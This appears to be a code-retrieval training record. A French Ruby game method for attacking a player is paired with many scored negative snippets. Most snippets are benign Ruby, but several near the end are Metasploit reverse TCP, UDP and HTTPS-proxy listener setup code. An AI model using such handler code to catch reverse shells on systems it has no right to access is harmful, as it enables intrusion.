\"#{p1} #{x}\"\n x\n end\nend", "def update(point)\n\t\t\t\t\n\t\t\tend", "def jugadas_posibles\n Array.new.tap do |jugadas_posibles|\n (1..8).each do |columna|\n (1..8).each do |fila|\n jugadas_posibles << [columna, fila] if puede_moverse?(columna, fila)\n end\n end\n end\n end", "def paths(points)\n paths = []\n (0...(points.count-1)).each do |point_1|\n ((point_1+1)...points.count).each do |point_2|\n paths << [point_1,point_2]\n end\n end\n paths\nend", "def records\n @points\n end", "def board_visualization\n @players.each do |racer|\n in_front = @length - @position[racer]\n # track = \"|\" * 30\n # p track.insert(@position[racer, racer.to_s)\n p \" |\" * @position[racer] + racer.to_s + \"|\" + \" |\" * in_front\n end\n end", "def matrix_row\n return [ self.run, self.rise * -1, (p1.y * self.run - self.rise*p1.x)]\n end", "def pick_value_for_sun(cubes, turn_points)\n 10\n end", "def generate_points(u_count, v_count)\n points = []\n v_count.times do |iv|\n row = []\n u_count.times do |iu|\n u = map1d(iu, (0..u_count), U_RANGE)\n v = map1d(iv, (0..v_count), V_RANGE)\n # default scale: 50, param: Array.new(12, 1) and mesh_distortion: 0\n row << superformula(u: u, v: v)\n end\n points << row\n end\n points\nend", "def update(point)\n\t\t\n\tend", "def update(point)\n\t\t\n\tend", "def draw(vectors)\n Shoes.app do\n vectors.each do |points|\n (0..1).step(0.005).each do |t|\n result = (1-t)**3*points[0] + 3*t*(1-t)**2*points[1] + 3*t**2*(1-t)*points[2] + t**3*points[3]\n oval(result[0]+100, result[1]+100, 1)\n end\n end\n end\nend", "def calculate_points\n raise \"The bracket was not loaded\" if !@loaded\n\n calculate_team_points\n calculate_player_points\n end", "def GetAdjacentPts(pts, i)\r\n res = []\r\n if (i == 0) \r\n res[0] = pts[pts.length-1]\r\n else \r\n res[0]= pts[i-1]\r\n end \r\n res[1] = pts[i]\r\n if (i == pts.length-1) \r\n res[2]= pts[0]\r\n else \r\n res[2] = pts[i+1]\r\n end \r\n return res\r\nend", "def set_points\n self.points ||= 0.0\n end", "def players_within_distance?; captured_points.include? @prey.coords end", "def sum_values\n points.sum\n end", "def tas_poser_1_carte joueur\n # Examine tous les tas déjà posés un par un\n self.ta12s.each do |tas|\n # Abandonne l'examen des différents tas quand plus qu'une carte\n break if joueur.cartes.size == 1\n # Evite de compléter la tierce franche lors de la 1° pose\n unless joueur.a_atteint_51?\n next if tas.nom_joueur == joueur.nom + \"_tf\"\n end\n # Regarde si on peut ajouter une carte au tas\n joueur.cartes.each do |carte|\n # Regarde si la carte peut aller sur le tas\n if tas.complete_le_tas? carte\n type = tas.combinaison.type\n # Pose la carte\n self.traces << \" tas <= #{tas.to_s} + [ #{carte.to_s} ]\"\n poser_sur_tas joueur, tas, carte\n # On ne peut plus compléter le tas si c'est une série de plus de 3 cartes\n break if tas.cartes.size > 3\n # on ne peut plus compléter le tas si ce n'est pas une série\n break if type != :serie\n end\n end\n end\n end", "def each_point(&block)\n Merit::POINTS.times(&block)\n end", "def determinar_coordenadas_dev(fila, columna)\n fila = determinar_fila(fila)\n columna = determinar_columna(columna)\n return [fila,columna]\nend", "def points\n deal_points = tricks_points @tricks\n\n if not deal_points.inside? bid_said_by_team\n deal_points.add_points_to(bid_said_by_team, MatchPoints::VALAT_BONUS) if valat?\n\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n Points.zeros[bid_said_by_team] = doubling_points deal_points, @mode\n end\n elsif deal_points.inside? bid_said_by_team\n deal_points.add_points_to(opposing_team, MatchPoints::VALAT_BONUS) if valat?\n\n Points.zeros[opposing_team] = doubling_points deal_points, @mode\n elsif deal_points.hanging?\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n doubled_points = doubling_points deal_points, @mode\n\n result = Points.zeros\n result[bid_said_by_team] = doubled_points / 2\n resutl[opposing_team] = doubled_points / 2\n\n result\n end\n end\n end" ]
[ "0.7395904", "0.6786394", "0.6730683", "0.6723258", "0.66966563", "0.658182", "0.65802276", "0.65802276", "0.6475862", "0.64580804", "0.64144397", "0.6268341", "0.6258314", "0.6258314", "0.62553966", "0.62353957", "0.6224816", "0.6212377", "0.6212377", "0.6198464", "0.61154085", "0.59144765", "0.58929414", "0.5887714", "0.58756304", "0.58465743", "0.5832509", "0.5821032", "0.57734334", "0.57490844", "0.5746124", "0.5736314", "0.5730139", "0.5717514", "0.5706811", "0.5705778", "0.57020247", "0.57016253", "0.5691319", "0.5668004", "0.5641386", "0.5631495", "0.5628829", "0.56270915", "0.55917364", "0.5591285", "0.5589306", "0.5573366", "0.55681413", "0.556391", "0.5553589", "0.55513525", "0.55462074", "0.5544968", "0.55407655", "0.55407655", "0.55323285", "0.5490012", "0.54819953", "0.54680836", "0.54680437", "0.54599816", "0.5458733", "0.5449469", "0.54466355", "0.5444292", "0.54414725", "0.5433277", "0.5431884", "0.54301834", "0.54264563", "0.5421402", "0.54139984", "0.54099286", "0.5400935", "0.53994775", "0.5395821", "0.5394633", "0.5392109", "0.5389888", "0.5384612", "0.5382419", "0.53779906", "0.537387", "0.5373638", "0.53728616", "0.5368398", "0.5367801", "0.5362251", "0.5361364", "0.5361364", "0.53609335", "0.5342178", "0.53415143", "0.53348863", "0.53323907", "0.5330454", "0.5326498", "0.5325856", "0.5323953", "0.5304163" ]
0.0
-1
Initialise la fonction d'attaque
def attacks(player) puts "#{@name} attaque #{player.name} !" damage = compute_damage player.gets_damage(damage) if player.life_points > 0 puts "#{@name} lui inflige #{damage} points de dommage.\n\n" else puts "Oups, #{player.name} c'est fait décapité...\n\n" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize() # Metodo construtor\r\n \t@caixas = [0,0,0,0,0]\r\n\tend", "def initialize(at_init)\n @at_init = at_init.to_s # quelquefois, on envoie un nombre (annulation)\n parse\n end", "def initialize(ciclos, lupula, cebada, mezcla, levadura)\n\n @ciclos = ciclos\n @almacen = Almacen.new(lupula,cebada,mezcla,levadura)\n @silosCebada = Silos_Cebada.new\n @molino = Molino.new\n @pailaMezcla = Paila_Mezcla.new\n @cuba = Cuba_Filtracion.new\n @pailaCoccion = Paila_Coccion.new\n @tanquePreclarif = Tanque_Preclarificador.new \n @enfriador = Enfriador.new\n @tcc = TCC.new\n @filtroCerveza = Filtro_Cerveza.new\n @tanqueFiltroCerveza = Tanque_Cerveza.new\n @llenadora = Llenadora.new\n\n end", "def at_init\n\n\t\tend", "def initialize(estacion) #SpaceStation\n super(estacion)\n end", "def initialize()\n @contenu = [\n [\"t\", \"i\", \"c\"],\n [\"t\", \"a\", \"c\"],\n [\"t\", \"o\", \"e\"]\n ]\n end", "def initialize() end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize(*args)\n super\n self.absorbido = {}\n self.absorbido[batalla.flota_atacante.object_id] = 0\n self.absorbido[batalla.flota_defensora.object_id] = 0\n end", "def initialize(titulo, artista)\n\t @titulo = titulo\n\t @artista = artista\t\n\tend", "def initialize(nombre,edad) #--> se crean los metodos, y se inicializan para darles un valor al crear el objeto \n @nombre = nombre #-->la variable local nombre es asignada a la var. de instancia @nombre, al realizar esto cada instancia tendra un valor propio.\n @edad = edad #--> lo mismo para edad\n\nend", "def initialize\n\t\t@vida = 1\n\t\t@forca = 1\n\t\t@carisma = 1\n\t\t@arma = 1\n\tend", "def initialize\n\t\t\n\tend", "def initialize(nome, comentario)\n @nome = nome\n @comentario = comentario\n @estrelando = []\n end", "def initialize(titulo, preco, ano_lancamento, possui_reimpressao)\n @titulo = titulo\n @ano_lancamento = ano_lancamento\n @possui_reimpressao = possui_reimpressao\n @preco = calcula_preco(preco)\n end", "def initialize\n\n\n\n end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def a_init\nend", "def initialize( numero, vie = 100, attaque = 10, defense = 10,\n tete, tetedefense, torse, torsedefense, mains, mainsdefense, pantalons, pantalonsdefense, bottes, bottesdefense, arme, armeattaque, type, nom, puissance)\n DBC.require( numero.kind_of?(Integer) && numero >= 0,\n \"Numero de equipement incorrect -- doit etre un Integer non-negatif: #{numero}!?\" )\n DBC.require( type.kind_of?(Symbol),\n \"Type d'arme incorrect -- doit etre un Symbol: #{type} (#{type.class})!?\" )\n (READERS + ACCESSORS).each do |var|\n instance_variable_set \"@#{var}\", (binding.local_variable_get var)\n end\n Equipement.numero_max = Equipement.numero_max ? [Equipement.numero_max, numero].max : numero\n end", "def initialize(agenda_name)\n\t\t@agenda_name = agenda_name\n\t\t@contact_list = [] # no llamarlo \"agenda\", para evitar redundancias - claridad !\n\t\t@par = []\n\t\t\n\tend", "def initialize\n\n\nend", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize\n \n end", "def initialize engine,tires\n\t\t@engine = engine\t#instance variables\n\t\t@tires = tires\n\tend", "def initialize\n @lista_contas = []\n end", "def atq\n @ataque\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize(nombre,lista,listagr)\n super(nombre,lista,listagr)\n @gei = 0\n\t\t@terreno = 0\n end", "def initialize\n \n end", "def initialize(name)\n @name = name\n @nota\n #declaracion v instancia\n end", "def initialize\n\t\nend", "def initialize\n super()\n init_data()\n end", "def initialize(couleur)\n @couleur = couleur #@ fait référence à la\n puts \"Je démarre ma caisse\"\n end", "def init\n if super\n @offset = 0\n @sg = ITALY\n self\n end\n end", "def initialize\n self.daily = Array.new\n self.incluidos=Array.new\n self.ingresados=Array.new\n\n end", "def constructor; end", "def initialize\r\n\r\n end", "def init\n\n end", "def initialize(alt, anc)\n\t\t@alt = (alt-1)\n\t\t@anc = (anc-1)\n\n\tend", "def initialize(*args)\n super\n self.estructura = estructura_maxima\n self.escudo = escudo_maximo\n end", "def initialize\n self.proyectos = Metamares::Proyecto.left_joins(:institucion, {especies: [:especie, :adicional]}, :dato, :region).\n distinct(:id).select(:id, :nombre_proyecto, :autor, :campo_investigacion, :updated_at).select('nombre_institucion,\nnombre_region, nombre_zona, descarga_datos, titulo_compilacion').\n where('estatus_datos IN (1,2)').order(updated_at: :desc, created_at: :desc, id: :desc)\n self.totales = 0\n self.params = {}\n self.sin_limit = false\n end", "def initialize( numero, date_achat,\n type, appellation, millesime, nom, prix,\n note = nil, commentaire = nil )\n DBC.require( numero.kind_of?(Integer) && numero >= 0,\n \"Numero de vin incorrect -- doit etre un Integer non-negatif: #{numero}!?\" )\n DBC.require( date_achat.kind_of?(Date),\n \"Date d\\'achat incorrecte -- doit etre une Date: #{date_achat} (#{date_achat.class})!?\" )\n DBC.require( type.kind_of?(Symbol),\n \"Type de vin incorrect -- doit etre un Symbol: #{type} (#{type.class})!?\" )\n DBC.require( millesime.kind_of?(Integer) && millesime >= 0,\n \"Millesime de vin incorrect -- doit etre un Integer non-negatif: #{millesime}!?\" )\n DBC.require( prix.kind_of?(Float) && prix >= 0.00,\n \"Prix de vin incorrect -- doit etre un Float non-negatif: #{prix}!?\" )\n # A COMPLETER.\n @numero = numero\n @date_achat = date_achat\n @type = type\n @appellation = appellation\n @millesime = millesime\n @prix = prix\n @nom = nom\n @note = note\n @commentaire = commentaire\n Vin.numero_max = Vin.numero_max ? [Vin.numero_max, numero].max : numero\n end", "def initialize(campos = {})\n super campos\n\n # TODO Remover código quando removido codigo específico\n # do Cnab400 da classe Brcobranca::Remessa::Pagamento\n @codigo_multa = nil if @codigo_multa == '0'\n end", "def initialize ()\n\t\t# inicializa la variable baraja como un array vacio\n\t\t@baraja = []\n\t\t# recorre el array con todos los palos\n\t\tConstantes::PALOS.each do |p|\n\t\t\t# Recorre el array con todos los valores\n\t\t\tConstantes::VALORES.each do |v|\n\t\t\t\t# Para cada combinacion de palo/valor crea un objeto Carta y lo guarda en la baraja\n\t\t\t\tc = Carta.new v,p\n\t\t\t\t@baraja << (Carta.new v,p)\n\n\t\t\tend\n\t\tend\n\tend", "def initialize(cliente_ruc_o_cedula, tarifa_servicio)\n\n super()\n unless cliente_ruc_o_cedula.blank?\n if cliente_ruc_o_cedula.include?\"RUC\"\n @t_cliente = TEmpresa.find_by_rif(cliente_ruc_o_cedula).t_cliente\n else\n @t_cliente = TPersona.find_by_cedula(cliente_ruc_o_cedula).t_cliente\n end\n end\n @tarifa_servicio = TTarifaServicio.find_by_codigo(tarifa_servicio) unless tarifa_servicio.blank?\n @cliente_ruc_o_cedula = cliente_ruc_o_cedula\n @tarifa_servicio = tarifa_servicio\n @i = 1\n # @t_recibo = t_recibo\n # @t_factura = t_factura\n # @t_resolucion = @t_factura.t_resolucion\n # @t_cliente = t_cliente\n # @t_empresa = @t_cliente.persona.try(:rif) ? @t_cliente.persona : nil\n # @t_persona = @t_cliente.persona.try(:cedula) ? @t_cliente.persona : nil\n # @t_otro = @t_cliente.persona.try(:identificacion) ? @t_cliente.persona : nil\n @meses = [1 => \"Enero\", 2 => \"Febrero\", 3 => \"Marzo\", 4 => \"Abril\", 5 => \"Mayo\", 6 => \"Junio\", 7 => \"Julio\", 8 => \"Agosto\", 9 => \"Septiembre\", 10 => \"Octubre\", 11 => \"Noviembre\", 12 => \"Diciembre\"]\n font_size 10\n document_content\n end", "def initialize(cantidad,dimension,epocas,funcion,entradas,capas)\n\t\t@cantidad = cantidad\n\t\t@epocas = epocas\n\t\t@bestPosGlobal = Array.new(dimension,0.0)\n\t\t@entradas = entradas\n\t\t@capas = capas\n\t\t@particulas = initializeProblem\n\tend", "def init; end", "def initialize(queen=Queen.queen, config=Configuration.config)\n @config = config\n @queen = queen\n @current_params = {}\n @custom_data = {}\n @status = :wait\n @current_ant = nil\n @processed = 0\n @passed = 0\n @active = true\n @start_time = Time.now\n @force_priority = false\n @modifiers = {}\n end", "def initialize()\n\t\tend", "def initialize(stap=5,aantal=34)\n @stap = stap\n @monte_carlos = []\n aantal.times do |x|\n van = x*stap\n tot = (x+1)*stap-1\n @monte_carlos[tot] = MonteCarlo.from_db(van,tot)\n end\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def init_maqj_data\n @quests = Game_Quests.new # Initialize @quests\n end", "def init_maqj_data\n # Initialize new variables\n self.quest_menu_access = QuestData::MENU_ACCESS\n @quest_map_access = QuestData::MAP_ACCESS\n @quest_sort_type = QuestData::SORT_TYPE\n @quest_bg_picture = QuestData::BG_PICTURE\n @quest_bg_opacity = QuestData::BG_OPACITY\n @quest_bg_blend_type = QuestData::BG_BLEND_TYPE\n @quest_windowskin = QuestData::WINDOWSKIN\n @quest_window_tone = QuestData::WINDOW_TONE\n @quest_window_opacity = QuestData::WINDOW_OPACITY\n @quest_access_disabled = false\n @quest_categories = QuestData::CATEGORIES\n @quest_scene_label = QuestData::VOCAB[:scene_label]\n @last_quest_cat = @quest_categories[0]\n @last_quest_id = 0\n end", "def initialize(t_factura)\n super()\n # @t_recibo = t_recibo\n @t_factura = t_factura\n @t_resolucion = @t_factura.t_resolucion\n @t_cliente = @t_resolucion.try(:t_cliente) || @t_factura.try(:t_cliente)\n @t_empresa = @t_cliente.persona.try(:rif) ? @t_cliente.persona : nil\n @t_persona = @t_cliente.persona.try(:cedula) ? @t_cliente.persona : nil\n @t_otro = @t_cliente.persona.try(:identificacion) ? @t_cliente.persona : nil\n # @view = view\n font_size 8\n document_content\n end", "def initialize(nombre,lista_alimentos,acc_cantidad_alimentos)\n\t\tsuper(nombre,lista_alimentos,acc_cantidad_alimentos)\n\t\t@emisiones_gei = 0\n\t\t@area_terreno_m2 = 0\n\tend", "def initialize\n end", "def initialize titulo, director, actores\n @titulo = titulo\n @id = nil\n @director = director\n @actores = actores\n end", "def initialize titulo, director, actores\n @id = nil\n @titulo = titulo\n @director = director\n @actores = actores\n end", "def initialize\n \n end", "def initialize\n \n end", "def initialize (nombre, lista_alimentos, gramos)\n super(nombre,lista_alimentos,gramos)\n end", "def initialize\n init\n end", "def initialize(nume, prenume)\n #Variabile de instanta\n @nume = nume\n @prenume = prenume\n end", "def initialize(nomee, idadee, alturaa, pesoo)\n \t@nome = nomee\n \t@idade = idadee\n \t@altura = alturaa\n \t@peso = pesoo\n end", "def initialize\nend", "def initialize(nombre,peso,talla,edad,sexo,imc,estados,rcc,rcca) #constructor\n super(nombre,peso,talla,edad,sexo,imc,estados,rcc,rcca)\n end", "def initialize(mesa, *recaudacion) #* toma varios argumentos y permite trabajar con ellos separados pero todos a la vez\n @mesa = mesa\n @recaudacion = recaudacion.map(&:to_i) # todos pasan a entero :& \n end", "def initialize()\r\n\r\n end", "def initialize()\n end", "def initialize\n @@cuenta += 1\n #contador ... tambien se puede poner @@cuenta = @@cuenta + 1\n end", "def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end", "def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end", "def initialize\n # complete\n end", "def set_anneeacademique\n @anneeacademique = Anneeacademique.find(params[:id])\n end", "def initialize(arraycontent, nombre)\n super\n @gei = get_gei\n @usoterreno = get_usoterreno\n @eficiencia = get_eficiencia_energetica\n end", "def initialize(avatar, pais, habilidades, categoria, costo_por_hora, sueldo_anual)\n @avatar = avatar\n @pais = pais\n @habilidades = habilidades\n @categoria = categoria\n @costo_por_hora = costo_por_hora\n @sueldo_anual = sueldo_anual \n end", "def initial_query=(_arg0); end", "def initialize(villano , frase)\n # Declaramos las variables de intancia.\n @villano = villano\n @frase = frase\n end", "def initialize(t_factura, t_recibo, user_id)\n super()\n @current_user = User.find(user_id)\n @t_recibo = t_recibo\n @t_factura = t_factura\n @t_resolucion = @t_factura.t_resolucion\n @t_cliente = @t_resolucion.try(:t_cliente) || @t_factura.try(:t_cliente)\n @t_empresa = @t_cliente.persona.try(:rif) ? @t_cliente.persona : nil\n @t_persona = @t_cliente.persona.try(:cedula) ? @t_cliente.persona : nil\n @t_otro = @t_cliente.persona.try(:identificacion) ? @t_cliente.persona : nil\n # @view = view\n font_size 8\n document_content\n end" ]
[ "0.64770067", "0.6460148", "0.6343408", "0.6319056", "0.6155767", "0.61547714", "0.61508876", "0.6132148", "0.6132148", "0.6132148", "0.6132148", "0.61246896", "0.6066526", "0.60647357", "0.6059331", "0.6042987", "0.596809", "0.59385157", "0.5935281", "0.5919208", "0.5919208", "0.5919208", "0.5919208", "0.5919208", "0.5913197", "0.58941805", "0.58869207", "0.5882246", "0.5880636", "0.5880636", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5875356", "0.5871709", "0.586833", "0.58570504", "0.58493257", "0.5849304", "0.5849304", "0.5849304", "0.5843855", "0.5838068", "0.58364683", "0.58358777", "0.5831463", "0.5812372", "0.57981986", "0.578988", "0.57814705", "0.5780208", "0.57770014", "0.577301", "0.57721597", "0.5765904", "0.57589954", "0.5754296", "0.5753118", "0.5752949", "0.5747209", "0.5743234", "0.5737335", "0.571783", "0.5717022", "0.57167506", "0.57167506", "0.5716661", "0.5714575", "0.57117015", "0.5700545", "0.56980103", "0.56978184", "0.56976485", "0.56871295", "0.56871295", "0.5683826", "0.5679448", "0.5667593", "0.5664927", "0.56638306", "0.5652528", "0.56410235", "0.56293285", "0.5629196", "0.5627932", "0.5625983", "0.56253415", "0.56178975", "0.5616996", "0.5614089", "0.56134325", "0.5611936", "0.56015646", "0.5598386" ]
0.0
-1
Initializes the reverse TCP handler and ads the options that are required for all reverse TCP payloads, like local host and local port.
def initialize(info = {}) super # XXX: Not supported by all modules register_advanced_options( [ OptAddress.new( 'ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system' ] ), OptBool.new( 'ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false ] ) ] + Msf::Opt::stager_retry_options, Msf::Handler::ReverseTcp ) self.conn_threads = [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(*args)\n super\n register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class)\n end", "def initialize(info = {})\n super\n\n register_options(\n [\n Opt::LHOST,\n Opt::LPORT(4444)\n ], Msf::Handler::ReverseUdp)\n\n # XXX: Not supported by all modules\n register_advanced_options(\n [\n OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),\n OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),\n OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),\n OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])\n ] +\n Msf::Opt::stager_retry_options,\n Msf::Handler::ReverseUdp)\n\n self.conn_threads = []\n end", "def initialize(info = {})\n super\n\n register_options(\n [\n OptPort.new('LPORT', [true, 'The starting port number to connect back on', 1])\n ], Msf::Handler::ReverseTcpAllPorts)\n end", "def initialize(info = {})\n super\n\n register_options(\n [\n OptAddressLocal.new('LHOST', \"The local listener hostname\", default: \"127.0.0.1\"),\n OptPort.new('LPORT', \"The local listener port\", default: 8443)\n ] +\n Msf::Opt::http_proxy_options,\n Msf::Handler::ReverseHttpsProxy)\n\n register_advanced_options(\n [\n OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),\n OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ])\n ], Msf::Handler::ReverseHttpsProxy)\n\n end", "def initialize(options)\n @ip = options[:ip]\n @port = options[:port]\n @inport = options[:inport]\n @socket = nil\n @reply_id = USHRT_MAX - 1\n @data_recv = ''\n @session_id = 0\n end", "def initialize(info = {})\n\t\tsuper\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::LPORT(4444),\n\t\t\t\tOptAddress.new('RHOST', [false, 'The target address', '']),\n\t\t\t], Msf::Handler::BindTcp)\n\n\t\tself.conn_threads = []\n\t\tself.listener_threads = []\n\t\tself.listener_pairs = {}\n\tend", "def initialize options\n # stats\n\n @stats = {}\n\n clear_stats\n\n if options[:host]\n port = options[:port]\n port = DEFAULT_PORT if port.nil?\n @socket = TCPSocket.new options[:host], port\n elsif options[:socket]\n @socket = options[:socket]\n end\n\n @number = 0\n\n set_options options\n end", "def initialize(options = {}, &block)\n options = options.dup\n @server = options.delete(:server)\n @udp_flags = options.delete(:udp_flags) || 0\n raise(ArgumentError, 'Missing mandatory argument: :server') unless @server\n\n super(options, &block)\n reopen\n end", "def initialize(transport, options = T.unsafe(nil)); end", "def initialize(transport, options = T.unsafe(nil)); end", "def setup_handler\n ex = false\n\n comm = case datastore['ReverseListenerComm'].to_s\n when \"local\"; ::Rex::Socket::Comm::Local\n when /\\A[0-9]+\\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i]\n else; nil\n end\n unless comm.is_a? ::Rex::Socket::Comm\n comm = nil\n end\n\n local_port = bind_port\n addrs = bind_address\n\n addrs.each { |ip|\n begin\n\n self.listener_sock = Rex::Socket::Udp.create(\n 'LocalHost' => ip,\n 'LocalPort' => local_port,\n 'Comm' => comm,\n 'Context' =>\n {\n 'Msf' => framework,\n 'MsfPayload' => self,\n 'MsfExploit' => assoc_exploit\n })\n\n ex = false\n\n comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )\n comm_used = Rex::Socket::Comm::Local if comm_used == nil\n\n if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )\n via = \"via the #{comm_used.type} on session #{comm_used.sid}\"\n else\n via = \"\"\n end\n\n print_status(\"Started #{human_name} handler on #{ip}:#{local_port} #{via}\")\n break\n rescue\n ex = $!\n print_error(\"Handler failed to bind to #{ip}:#{local_port}\")\n end\n }\n raise ex if (ex)\n end", "def initialize reactor, incoming, outgoing, debug = false\n incoming = Address.from_string incoming if incoming.kind_of? String\n outgoing = Address.from_string outgoing if outgoing.kind_of? String\n\n # setup the handlers for processing messages\n @handler_in = Handler.new reactor, incoming, debug, :in\n @handler_out = Handler.new reactor, outgoing, debug, :out\n\n # create each socket and pass in the appropriate handler\n @incoming = reactor.xrep_socket @handler_in\n @outgoing = reactor.xreq_socket @handler_out\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing\n @handler_out.socket_out = @incoming\n end", "def socket_setup()\n ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] }\n self.socket = case self.handle.protocol\n\n when 'ncacn_ip_tcp'\n Rex::Socket.create_tcp(\n 'PeerHost' => self.handle.address,\n 'PeerPort' => self.handle.options[0],\n 'Context' => ctx,\n 'Timeout' => self.options['connect_timeout']\n )\n\n when 'ncacn_np'\n begin\n socket = Rex::Socket.create_tcp(\n 'PeerHost' => self.handle.address,\n 'PeerPort' => 445,\n 'Context' => ctx,\n 'Timeout' => self.options['connect_timeout']\n )\n rescue ::Timeout::Error, Rex::ConnectionRefused\n socket = Rex::Socket.create_tcp(\n 'PeerHost' => self.handle.address,\n 'PeerPort' => 139,\n 'Context' => ctx,\n 'Timeout' => self.options['connect_timeout']\n )\n end\n socket\n else nil\n end\n\n # Add this socket to the exploit's list of open sockets\n options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit'])\n end", "def start_handler\n queue = ::Queue.new\n\n local_port = bind_port\n\n handler_name = \"ReverseTcpHandlerListener-#{local_port}\"\n self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue|\n loop do\n # Accept a client connection\n begin\n client = listener_sock.accept\n if client\n self.pending_connections += 1\n lqueue.push(client)\n end\n rescue Errno::ENOTCONN\n nil\n rescue StandardError => e\n wlog [\n \"#{handler_name}: Exception raised during listener accept: #{e.class}\",\n $ERROR_INFO.to_s,\n $ERROR_POSITION.join(\"\\n\")\n ].join(\"\\n\")\n end\n end\n }\n\n worker_name = \"ReverseTcpHandlerWorker-#{local_port}\"\n self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue|\n loop do\n begin\n client = cqueue.pop\n\n unless client\n elog(\"#{worker_name}: Queue returned an empty result, exiting...\")\n end\n\n # Timeout and datastore options need to be passed through to the client\n opts = {\n datastore: datastore,\n expiration: datastore['SessionExpirationTimeout'].to_i,\n comm_timeout: datastore['SessionCommunicationTimeout'].to_i,\n retry_total: datastore['SessionRetryTotal'].to_i,\n retry_wait: datastore['SessionRetryWait'].to_i\n }\n\n if datastore['ReverseListenerThreaded']\n thread_name = \"#{worker_name}-#{client.peerhost}\"\n conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy|\n handle_connection(wrap_aes_socket(client_copy), opts)\n end\n else\n handle_connection(wrap_aes_socket(client), opts)\n end\n rescue StandardError => e\n elog('Exception raised from handle_connection', error: e)\n end\n end\n }\n end", "def initialize(info = {})\n\t\tsuper\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::LPORT(4444),\n\t\t\t\t#OptAddress.new('RHOST', [false, 'The target address', '']),\n\t\t\t], Msf::Handler::BeEFBind)\n\tend", "def initialize(options={})\n @host = options.fetch(:host)\n @port = options.fetch(:port)\n @use_ssl = options.fetch(:use_ssl, false)\n @logger = options.fetch(:logger, nil)\n @max_retries = options.fetch(:max_retries, DEFAULT_MAX_RETRIES)\n @max_connect_retries = options.fetch(:max_connect_retries, DEFAULT_MAX_CONNECT_RETRIES)\n @connect_retry_wait = options.fetch(:connect_retry_wait, DEFAULT_CONNECT_RETRY_WAIT)\n @msgid = 1\n @call_mutex = Mutex.new\n init_socket\n end", "def initialize(pstack, server)\n super(pstack)\n @server = server\n @wopts = {}\n getopts(@server.service_negotiation)\n @mode = :normal # Parse mode :normal, :cmd, :cr\n @state = {}\n @sc = nil\n @sneg_opts = [ TTYPE, ZMP ] # supported options which imply an initial\n # sub negotiation of options\n @ttype = []\n @init_tries = 0 # Number of tries at negotitating sub options\n @synch = false\n log.debug \"telnet filter initialized - #{@init_tries}\"\n end", "def initialize(options = {})\n @seq = 0\n @bind_port = 0\n @bind_host = nil\n @data_size = 56\n\n @ping_id = (Thread.current.object_id ^ Process.pid) & 0xffff\n\n super(options)\n end", "def initialize(options)\n defaults = { :port => 22, :paranoid => false }\n options = defaults.merge(options)\n\n # Options need to be in a final state before we call the parent initializer\n super(options)\n\n @connection_options = options\n\n end", "def initialize(options = nil)\n @config = DEFAULTS.merge(options || { })\n \n merge_config_options\n assign_extracted_host_port\n end", "def initialize(uri, options = {})\n self.url = uri\n options = options.dup\n @ready_state = CONNECTING\n @with_credentials = options.delete(:with_credentials) { false }\n @headers = default_request_headers.merge(options.fetch(:headers, {}))\n @read_timeout = options.fetch(:read_timeout, 0).to_i\n proxy = ENV['HTTP_PROXY'] || ENV['http_proxy'] || options[:proxy]\n if proxy\n proxyUri = URI(proxy)\n if proxyUri.scheme == 'http' || proxyUri.scheme == 'https'\n @proxy = proxyUri\n end\n end\n\n @reconnect_timeout = options.fetch(:reconnect_delay, 1)\n @on = { open: ->{}, message: ->(_) {}, error: ->(_) {} }\n\n @chunked = false\n\n yield self if block_given?\n\n async.listen\n end", "def prepare_tcp_server(host: T.unsafe(nil), port: T.unsafe(nil), adapter: T.unsafe(nil)); end", "def initialize(*args)\r\n arg=args[0]\r\n @packet_timeout = Resolver::DefaultPacketTimeout\r\n @port = Resolver::DefaultPort\r\n @udp_size = Resolver::DefaultUDPSize\r\n @use_tcp = false\r\n @tsig = nil\r\n @ignore_truncation = false\r\n @src_addr = '0.0.0.0'\r\n @src_port = 0\r\n @recurse = true\r\n @persistent_udp = 